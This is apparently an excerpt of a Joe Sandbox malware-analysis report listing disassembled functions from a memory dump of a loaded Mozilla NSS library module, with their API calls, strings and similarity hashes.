sqlite3_free.NSS3(00000000), ref: 6C612F3E
sqlite3_free.NSS3(?), ref: 6C612F4C

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: e4b299dd85c46e1750c0329c590f74531e8d5d4b0a2dd030e4c7e812fdbe918b
Instruction ID: 48b7296084784cb45bc2c0fb6d72c3950038eb42fd994605fac98bde6d939325
Opcode Fuzzy Hash: e4b299dd85c46e1750c0329c590f74531e8d5d4b0a2dd030e4c7e812fdbe918b
Instruction Fuzzy Hash: F2618CB5E082069BEB00CFA8D884BDEB7F1EF5A349F144028DC15A7B51E731E855CBA5

Function 6C4C4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4D97
PR_Lock.NSS3(?,?,?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4DBA
PR_WaitCondVar.NSS3 ref: 6C4C4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4DEF

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: bc5d1b8f9042d8c9e99f49d64740b8f2392217eb4de4d165376a3d1d9c45c9cc
Instruction ID: cd0cc4a55dcd39e73f9f7e09bd225da89482b784c1f98dc934e4c8036e3e426a
Opcode Fuzzy Hash: bc5d1b8f9042d8c9e99f49d64740b8f2392217eb4de4d165376a3d1d9c45c9cc
Instruction Fuzzy Hash: 474190B9A04B15CFCB00EFBAD5849697BF0BF46358F165629D848D7720E730E885CB86

Function 6C568F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C55DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C568FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C55DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C568FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C55DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C568FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C55DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C569013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C55DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C569042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C55DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C56905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C55DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C569073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C55DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C5690EC

Part of subcall function 6C530F00: PR_GetPageSize.NSS3(6C530936,FFFFE8AE,?,6C4C16B7,00000000,?,6C530936,00000000,?,6C4C204A), ref: 6C530F1B
Part of subcall function 6C530F00: PR_NewLogModule.NSS3(clock,6C530936,FFFFE8AE,?,6C4C16B7,00000000,?,6C530936,00000000,?,6C4C204A), ref: 6C530F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C55DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C569111

Strings

nel, xrefs: 6C5690A3

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: nel
API String ID: 2831689957-4255194777
Opcode ID: cffe88d2ed09f464499f1852adf1dbdadb76deece8107cd7b38e3be52308c850
Instruction ID: 327d39c5a0425d217651510fb317d72957717b60c8567ba32c4dfb4162de193d
Opcode Fuzzy Hash: cffe88d2ed09f464499f1852adf1dbdadb76deece8107cd7b38e3be52308c850
Instruction Fuzzy Hash: 68517A75A04615CFCB00EF7AC8C8259BBF4AF8A318F155569DC499BB25EB31E884CB81

Function 6C54E910 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 149memorystringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,http://,00000007), ref: 6C54E93B
PR_SetError.NSS3(FFFFE075,00000000), ref: 6C54E94E
PORT_Alloc_Util.NSS3(00000001), ref: 6C54E995
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C54E9A7
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,0000000A), ref: 6C54E9CA
PORT_Strdup_Util.NSS3(6C68933E), ref: 6C54EA17
PORT_Alloc_Util.NSS3(00000001), ref: 6C54EA28

Part of subcall function 6C5A0BE0: malloc.MOZGLUE(6C598D2D,?,00000000,?), ref: 6C5A0BF8
Part of subcall function 6C5A0BE0: TlsGetValue.KERNEL32(6C598D2D,?,00000000,?), ref: 6C5A0C15

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C54EA3C
free.MOZGLUE(?), ref: 6C54EA69

Strings

http://, xrefs: 6C54E935

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Alloc_memcpy$ErrorL_strncasecmpStrdup_Valuefreemallocstrtol
String ID: http://
API String ID: 3982757857-1121587658
Opcode ID: 4c4497201c2b46b315c81ad48f7a6785c59aa1859bdb09b9962eebef75d291c1
Instruction ID: 816e98da16005c500914230839347d5902a66fc22f971a8b29930e8e0118d884
Opcode Fuzzy Hash: 4c4497201c2b46b315c81ad48f7a6785c59aa1859bdb09b9962eebef75d291c1
Instruction Fuzzy Hash: EF41AC74D4860A5BEF60CE698C807EAF7A5EF4730CF148421DC9197BC1E2929547C2EA

Function 6C564E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C564E90
EnterCriticalSection.KERNEL32 ref: 6C564EA9
TlsGetValue.KERNEL32 ref: 6C564EC6
EnterCriticalSection.KERNEL32 ref: 6C564EDF
PL_HashTableLookup.NSS3 ref: 6C564EF8
PR_Unlock.NSS3 ref: 6C564F05
PR_Now.NSS3 ref: 6C564F13
PR_Unlock.NSS3 ref: 6C564F3A

Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307AD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307CD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307D6
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C4C204A), ref: 6C5307E4
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,6C4C204A), ref: 6C530864
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C530880
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,6C4C204A), ref: 6C5308CB
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308D7
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308FB

Strings

bUVl, xrefs: 6C564E5C
bUVl, xrefs: 6C564F3F

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUVl$bUVl
API String ID: 326028414-3516259892
Opcode ID: 151ad25cbd743d4154581143692e30ad2b3dd620a57900552c6024a6a122d515
Instruction ID: f877e4590245aedb76f0b9fcab46aed770b57717aec8e0dffd58797606ee8b28
Opcode Fuzzy Hash: 151ad25cbd743d4154581143692e30ad2b3dd620a57900552c6024a6a122d515
Instruction Fuzzy Hash: 374136B4A00605DFCB00EF69C5948AABBF0FF89304B018569EC499B720EB30E895CBD5

Function 6C530600 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 84stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?), ref: 6C530623
GetLastError.KERNEL32(?,?,?,?,?,6C5305E2), ref: 6C530642
TlsGetValue.KERNEL32(?,?,?,?,?,6C5305E2), ref: 6C53065D
GetLastError.KERNEL32 ref: 6C530678
PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C53068A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C530693
PR_SetErrorText.NSS3(00000000,?), ref: 6C53069D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,99F052DF,?,?,?,?,?,6C5305E2), ref: 6C5306CA
PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C5305E2), ref: 6C5306E6

Strings

error %d, xrefs: 6C530682

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Error$Last$AddressProcR_snprintfTextValuestrcmpstrlen
String ID: error %d
API String ID: 4000364758-2147592115
Opcode ID: 5055c3803083a90b651885982dd8329b33ddc2c309120bb97e69b1ef662783c3
Instruction ID: 2ad9d42e77d683fe89c4903e2e4157a553cc3a674834259a21d993ebcd4a73fb
Opcode Fuzzy Hash: 5055c3803083a90b651885982dd8329b33ddc2c309120bb97e69b1ef662783c3
Instruction Fuzzy Hash: 93212971F00361EBEB00AF3A9C44A6A7778AFC230DF151515D80D97B51FB309814C7A9

Function 6C58ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C58DE64), ref: 6C58ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C58ED22

Part of subcall function 6C59B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6718D0,?), ref: 6C59B095

PL_FreeArenaPool.NSS3(?), ref: 6C58ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C58ED6B
PR_CallOnce.NSS3(6C6A2AA4,6C5A12D0), ref: 6C58ED38

Part of subcall function 6C4C4C70: TlsGetValue.KERNEL32(?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4C97
Part of subcall function 6C4C4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4CB0
Part of subcall function 6C4C4C70: PR_Unlock.NSS3(?,?,?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C58ED52
PR_CallOnce.NSS3(6C6A2AA4,6C5A12D0), ref: 6C58ED83
PL_FreeArenaPool.NSS3(?), ref: 6C58ED95
PL_FinishArenaPool.NSS3(?), ref: 6C58ED9D

Part of subcall function 6C5A64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C5A127C,00000000,00000000,00000000), ref: 6C5A650E

Strings

security, xrefs: 6C58ED06

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 85e234b9639194c8c4fc012b10a301cc7c8d77a37bc997ffbeb9c112a5e3a10f
Instruction ID: 212ba435aeccc1a0d7adbbc89b7c56126ffc9ab09cc80ae74706306361b589b1
Opcode Fuzzy Hash: 85e234b9639194c8c4fc012b10a301cc7c8d77a37bc997ffbeb9c112a5e3a10f
Instruction Fuzzy Hash: 11116339A02314ABD7109797AC80FBF7374AF4264CF05092DE81562E51FB60AD0D85EB

Function 6C650EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C532357), ref: 6C650EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C532357), ref: 6C650EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C650EE6

Part of subcall function 6C6509D0: PR_Now.NSS3 ref: 6C650A22
Part of subcall function 6C6509D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C650A35
Part of subcall function 6C6509D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C650A66
Part of subcall function 6C6509D0: PR_GetCurrentThread.NSS3 ref: 6C650A70
Part of subcall function 6C6509D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C650A9D
Part of subcall function 6C6509D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C650AC8
Part of subcall function 6C6509D0: PR_vsmprintf.NSS3(?,?), ref: 6C650AE8
Part of subcall function 6C6509D0: EnterCriticalSection.KERNEL32(?), ref: 6C650B19
Part of subcall function 6C6509D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C650B48
Part of subcall function 6C6509D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C650C76
Part of subcall function 6C6509D0: PR_LogFlush.NSS3 ref: 6C650C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C650EFA

Part of subcall function 6C53AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C53AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C650F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C650F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C650F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C650F2B

Strings

Aborting, xrefs: 6C650EB3
Assertion failure: %s, at %s:%d, xrefs: 6C650ED9, 6C650EE5, 6C650F06, 6C650F0B

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: fa19c3809a900bd1a38af106d20a23e89a2718193a39d5e0a23340a9d896765a
Instruction ID: d85bf168bbec85f42c92fcd5c0db55c8704335e71991c1ec5c07c49a594098dd
Opcode Fuzzy Hash: fa19c3809a900bd1a38af106d20a23e89a2718193a39d5e0a23340a9d896765a
Instruction Fuzzy Hash: 02F0A4F69001157BDF003F619C89C9B3E2DDF82268F404424FD0A56612DA35EA2896BB

Function 6C5B4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C5B4DCB

Part of subcall function 6C5A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5487ED,00000800,6C53EF74,00000000), ref: 6C5A1000
Part of subcall function 6C5A0FF0: PR_NewLock.NSS3(?,00000800,6C53EF74,00000000), ref: 6C5A1016
Part of subcall function 6C5A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5487ED,00000008,?,00000800,6C53EF74,00000000), ref: 6C5A102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C5B4DE1

Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A10F3
Part of subcall function 6C5A10C0: EnterCriticalSection.KERNEL32(?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A110C
Part of subcall function 6C5A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1141
Part of subcall function 6C5A10C0: PR_Unlock.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1182
Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C5B4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C5B4E59

Part of subcall function 6C59FAB0: free.MOZGLUE(?,-00000001,?,?,6C53F673,00000000,00000000), ref: 6C59FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C67300C,00000000), ref: 6C5B4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C5B4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C5B4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5B521A

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 40fc402624bc84641c43169acb6f1a3bb28e87125c2efa8ee7af33d1f4b6e09e
Instruction ID: bdc444a8e757cc411e9bda291616317ecef3a1b268f0dbbe7ac9e5badf390892
Opcode Fuzzy Hash: 40fc402624bc84641c43169acb6f1a3bb28e87125c2efa8ee7af33d1f4b6e09e
Instruction Fuzzy Hash: 9FF18B71E01209CBDB08CF55D8607AEBBB2FF84358F658169E915BB780E735E981CB90

Function 6C5C6BA0 Relevance: 16.7, APIs: 11, Instructions: 248COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000159,?,?,?,?,?,?,?,6C5D0293), ref: 6C5C6BC2
PR_SetError.NSS3(FFFFD016,00000000), ref: 6C5C6C13
NSS_GetAlgorithmPolicy.NSS3(?), ref: 6C5C6C39
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6C5C6C6C
NSS_GetAlgorithmPolicy.NSS3(00000146,?), ref: 6C5C6CAB
PR_SetError.NSS3(FFFFD016,00000000), ref: 6C5C6CEE
PR_SetError.NSS3(FFFFD016,00000000), ref: 6C5C6D2A
PR_SetError.NSS3(FFFFD016,00000000), ref: 6C5C6D6D
PR_SetError.NSS3(FFFFD016,00000000), ref: 6C5C6DBD
PR_SetError.NSS3(FFFFD016,00000000), ref: 6C5C6E13
PR_SetError.NSS3(FFFFD016,00000000), ref: 6C5C6EE9

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Error$AlgorithmPolicy
String ID:
API String ID: 644051021-0
Opcode ID: 1594e6bf3e6cfb498966650093a955f398d6a6be978ea5487301d011d103db21
Instruction ID: 538954a1fdd069d42611ab99d042d94fc615d5a46c76b763611fad4dd45df1fb
Opcode Fuzzy Hash: 1594e6bf3e6cfb498966650093a955f398d6a6be978ea5487301d011d103db21
Instruction Fuzzy Hash: 9891C376B083958BDB10EAECCC417B936709B5233CF25032ED163EBAD1EB61A7458257

Function 6C544FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C690148,?,6C556FEC), ref: 6C54502A
PR_NewLock.NSS3(00000001,00000000,6C690148,?,6C556FEC), ref: 6C545034
PL_NewHashTable.NSS3(00000000,6C59FE80,6C59FD30,6C5EC350,00000000,00000000,00000001,00000000,6C690148,?,6C556FEC), ref: 6C545055
PL_NewHashTable.NSS3(00000000,6C59FE80,6C59FD30,6C5EC350,00000000,00000000,?,00000001,00000000,6C690148,?,6C556FEC), ref: 6C54506D

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

